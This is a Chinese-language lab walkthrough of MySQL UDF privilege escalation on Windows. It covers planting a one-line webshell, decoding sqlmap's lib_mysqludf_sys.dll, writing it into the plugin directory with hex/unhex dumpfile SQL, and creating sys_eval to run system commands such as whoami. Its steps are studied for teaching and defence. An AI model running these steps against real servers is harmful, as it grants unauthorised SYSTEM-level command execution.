实验环境利用MySQL提权原理:
1、 具有mysql的root权限,且mysql以system权限运行。
2、 具有执行sql语句的权限,webshell或者外连皆可。
UDF提权
UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
原理:
UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数。(其中包括了执行系统命令的函数)
要想利用udf,必须上传udf.dll作为udf的执行库。
mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能。
- Windows Server 2008 R2 x64
- wamp
- MySQL-5.5.15-(64-bit).msi
- xampp-win32-5.6.28-1-VC11-installer
- 菜刀
- sqlmap
- PHPstudy
1、环境搭建
安装xampp-win32-5.6.28-1-VC11-installer
安装MySQL-5.5.15-(64-bit).msi
安装IIS服务器
在C:\inetpub\wwwroot
目录下创建一句话木马文件
在浏览器中执行验证
2、开始提权
在C:\sqlmap-master\data\udf\mysql\windows\64
目录下有lib_mysqludf_sys.dll_
将他复制到C:\sqlmap-master\extra\cloak
下
進到C:\sqlmap-master\extra\cloak
执行cloak.py -d -i lib_mysqludf_sys.dll_
编译lib_mysqludf_sys.dll_文件然后将文件复制到桌面改名为udf.dll
进入数据库执行select hex(load_file("C:\\Users\\sq\\Desktop\\udf.dll")) into dumpfile 'c:\\Users\\sq\\Desktop\\1.txt';
然后打开1.txt,用select unhex('原文内容') into dumpfile "C:\\Users\\sq\\Desktop\\2.dll";
语句放到数据库中执行
比较桌面的两个dll文件大小,一样的字节说明没有问题
使用菜刀连接数据库
執行select @@basedir
获取C:/Program Files/MySQL/MySQL Server 5.5/
数据库路径
后面拼接\Lib\Plugin\构造udf安装路径"C:\\Program Files\\MySQL\\MySQL Server 5.5\\Lib\Plugin\\udf,dll"
也可使用show variables like '%plugin%'
语句获取
然后利用菜刀执行语句select unhex('dll文件的16进制') into dumpfile "C:\\Program Files\\MySQL\\MySQL Server 5.5\\Lib\\Plugin\\udf.dll"
可以到该目录下验证
执行create function sys_eval returns string soname 'udf.dll'
点击func表然后执行就会看到创建的函数名
输入select sys_eval("whoami")
成功执行